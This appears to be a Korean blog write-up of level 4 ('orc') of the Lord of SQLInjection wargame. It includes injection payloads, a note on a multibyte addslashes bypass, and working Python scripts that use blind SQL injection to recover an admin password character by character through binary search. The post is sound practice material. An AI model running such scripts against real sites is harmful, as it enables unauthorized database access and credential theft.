본문 바로가기
Wargame

[LOS] 4번 orc , 파이썬 자동화 코드 만들어보기

by m_.9m 2022. 1. 16.

https://los.rubiya.kr/


 

레벨 4 orc 문제 풀이

 

제시 문제

 

※ url에 ?를 쓰면 query를 날릴 수 있다.

즉 url에 ?pw=1234 or '1을 넣어보면, '' 안에 값이 입력된다.

 

위와 같이 변하는 것을 볼 수있다. admin계정으로 로그인이 되는데 이제 뒤에 쿼리문을 보면서 문제를 풀어야한다.

$_GET['pw']를 받아와서 addslashes 함수 안에 넣는데 이는 내부적으로 작은 따옴표같은 문이 들어가있으면 오류가 발생할 수도 있기때문에 이를 이스케이프 시켜주는 함수이다.

 

pw=1234 or '1 에서 따옴표가 pw=1234 or /1가 되는 것이다.

DB에서 다시 꺼내올때는 stripslashes로 이를 제거하게 된다.

 

이는 한글자가 2바이트로 구성된 문자인 멀티바이스로 우회가 가능하다. 예를들어 %f1'로 제거가 가능한데 %f1/'이 %f1%5c'로 앞에 문자와 역슬래시가 묶여 하나의 문자열이 되기때문에 우회가 가능하다. 

 

맞는 말이지만 이 문제의 풀이방법은 아니다.

 

 

문제를 들고 한참 삽질을 하다가 이 문제는 pw가 일치해야 결국 풀리기때문에 첫 if문이 참일시 Hello admin이 뜨는 것을 이용해 패스워드를 알아내야한다는 힌트를 얻었다.

그래서 id=admin and length(pw) = n 으로 pw길이를 알아내는 함수를 사용해 n의 숫자를 늘려가며 Hello admin(참)이 되는 길이를 찾는다.

 

 

pw가 8글자인것을 확인한 후 직접 이 문자를 알아내기 위해서 파이썬 자동화코드를 간단하게 구현해보았다.

함수와 원리는 이해했지만 파이썬을 만져보지못한 나로썬 다른이의 블로그를 참고해 구현했다.

 

 

 

<파이썬 자동화 코드 구현>

 

 

상태 응답 코드 ( req.status_code )

 

파이썬 자동화 코드 구현을 위해서 import 로 requests 모듈을 가져온다.

Request는 가장 많이 사용하는 라이브러리로 쉽게 http요청을 할 수있다.

 

request로 url을 가져오고, 해당 사이트에 F12관리자 페이지에서 application > cookie 값을 가져온다.

제대로 된 응답을 하는지를 보기위해 req.status_code로 응답 코드를 띄워본다.

 

쿠키 정보를 복사해온다

 

import requests
#req에는 url의 html정보가 들어있음

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}

req = requests.get(url, cookies=cookie)
print(req.status_code)

 

 

blind injection을 위한 T/F 테스트

Hello admin 출력의 유무에 따라 참, 거짓의 판별이 되기때문에 Blind SQL injection을 수행가능하다고 판단한다.

 

import requests
#req에는 url의 html정보가 들어있음

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}
param = {"pw": "'or 1 = 1 # "} #파라미터에 값 직접대입

req = requests.get(url, params=param, cookies=cookie)

if "Hello admin" in req.text:
    print(param['pw'],"True") #참
else: 
    print(param["pw"],"False") #거짓

 

비밀번호 길이 구하기

format함수는 문자열 안의 특정한 값을 바꿔야할 경우 사용하는 문자열 포매팅기법을 할 수있게 해주는 함수이다. 

두가지 수, 인덱스와 혼용 등으로 사용이 가능하고 파이썬 3.6버전부터는 문자열 앞에 f를 붙여 사용할 수있다.

점프 투 파이썬 - 02-2 문자열 자료형 format 함수 참고

 

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}


def find_length():
    pwlength = 1

    while True:
        param = {"pw": "' or id = 'admin' and length(pw) = {} # ".format(pwlength)}
        #파이썬 내장함수 format은 파마미터 {}안에 값을 대입하게 하는 것이다.
        #f로만 사용할경우  param = {"pw": f"' or id = 'admin' and length(pw) = {pwlength} # "가 가능하다.
        req = requests.get(url, params=param, cookies=cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1

print("비밀번호의 길이는:",find_length())

 

비밀번호 구하기

이제 비밀번호를 구하기 위해 이진 탐색 코드를 활용한다.

ascii 코드를 사용하는 이유는 대소비교를 가능하게 해 자동화코드를 구현할수있게하기 때문이다.

substring 함수는 문자열에서 특정한 구간의 문자열을 추출해주는 함수입니다.

substring(구하는 값, 시작부분, 끝부분) - 생활코딩 설명 참고

 

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}

def find_length():
    pwlength = 1

    while True:
        param = {"pw": "' or id = 'admin' and length(pw) = {} # ".format(pwlength)}
        req = requests.get(url, params=param, cookies=cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1

def find_pw():
    length = find_length()
    password = ""
    for i in range(length):
        s= 1
        e= 127
        value = 64
        while True:
            param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} # ".format(i+1, value)}
            print(param)
            req=requests.get(url,params=param,cookies=cookie)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} # ".format(i+1, value)}
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    s=value
                    value = (value+e) //2
                else:
                    e=value
                    value = (s+value) //2

    print("비밀번호는: ", password)

find_pw()

 

 

코드를 보면 길이를 구한후,

{} 파라미터안에 1부터 n번째까지 차례로 한글자씩 값을 추출한다.

if문이 참으로 나올경우(해당 값의 비밀번호가 일치할경우) 출력한후 ++1 다음차례로 넘어가고

거짓으로 나올경우 대소비교를 통해 이진탐색을 계속 진행한다.

S=1

E=127

중간값, value=64

 

이해가 어려운 분을 위한 상세 풀이

첫번째 if 문) 비밀번호 1번째 자리수가 64인가? NO

두번째 if 문) 대소비교 

 값이 64보다 큰가? NO

첫번째 if 문) 비밀번호 1번째 자리수가 32인가? NO

두번째 if 문) 대소비교 

 ➡ 값이 32보다 큰가? NO

첫번째 if 문) 비밀번호 1번째 자리수가 16인가? NO

두번째 if 문) 대소비교 

 ➡ 값이 16보다 큰가? YES

첫번째 if 문) 비밀번호 1번째 자리수가 24인가? NO

두번째 if 문) 대소비교 

 ➡ 값이 24보다 큰가? NO

첫번째 if 문) 비밀번호 1번째 자리수가 20인가? NO

두번째 if 문) 대소비교 

 ➡ 값이 20보다 큰가? YES

첫번째 if 문) 비밀번호 1번째 자리수가 22인가? YES 

 

==> 비밀번호 1번째 값에 대입, n번째 자리수까지 돌린다.

YES/NO의 판단은 print(Hello admin)의 유무에 따른다.

 

 

 

풀이 성공!

 

'Wargame' 카테고리의 다른 글

[LOS] 6번 darkelf 문제 풀이  (0) 2022.01.16
[LOS] 5번 wolfman 문제 풀이  (0) 2022.01.16
[LOS] 3번 goblin  (0) 2022.01.08
[LOS] 2번 cobolt  (0) 2022.01.08
[LOS] 1번 gremlin 풀이  (0) 2021.10.26